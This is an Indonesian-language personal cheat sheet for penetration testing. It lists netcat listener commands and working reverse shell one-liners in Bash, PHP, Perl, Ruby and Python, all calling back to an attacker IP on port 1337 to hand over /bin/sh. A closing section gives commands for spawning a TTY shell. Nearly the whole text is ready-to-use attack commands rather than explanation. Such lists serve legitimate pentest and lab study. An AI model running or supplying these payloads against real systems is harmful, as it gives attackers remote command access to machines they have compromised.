Reverse & Spawning Shell
Reverse & Spawning Shell - Ini cuma arsip pribadi, gausah dipikir terlalu dalem :) Pilihan kita untuk melakukan reverse shell terbatas pada bahasa pemrograman apa yang terinstall di server target.
Reverse Shell
Sebelum melakukan reverse shell, pastikan di komputer (attacker) sudah melakukan listening menggunakan netcat.
- Linux >
nc -l 1337
- Mac >
nc -l localhost -p 1337
// 1337
adalah port yang akan dibuka. Bisa diubah sesuai selera.
1. Reverse Shell dari Bash
Bash dapat digunakan untuk melakukan reverse shell. Dari komputer / server target kita masukkan command berikut :
bash -i >& /dev/tcp/**192.168.48.133/1337** 0>&1
// 192.168.0.0.1 adalah IP attacker.
// 1337 adalah port yang dibuka sebelumnya di command listening menggunakan netcat.
2. Reverse Shell dari PHP
Untuk reverse shell dari PHP cukup menggunakan command berikut:
php -r '$sock=fsockopen("192.168.48.133",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
Jika gagal, ubah angka file descriptor dari 3 ke 4, 5, atau 6.
3. Reverse Shell dari Perl
Perl juga bisa digunakan untuk melakukan reverse shell. Dengan menggunakan command:
perl -e 'use Socket;$i="192.168.48.133";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4. Reverse Shell dari Ruby
Ruby juga memungkinkan kita untuk melakukan reverse shell. Command yang perlu digunakan adalah:
ruby -rsocket -e'f=TCPSocket.open("192.168.48.133",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
5. Reverse Shell dari Python
Yang terakhir adalah Python, kita perlu menggunakan command:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.48.133",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Spawning TTY Shell
Seringkali selama pentest, kita dapat memperoleh shell tanpa tty, namun ingin berinteraksi lebih jauh dengan sistem. Berikut adalah beberapa perintah yang memungkinkan kita memunculkan tty shell. Tentunya sebagian dari ini akan tergantung pada sistem dan packages yang diinstal.
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
3 teratas adalah yang paling sukses secara umum untuk spawning dari command line.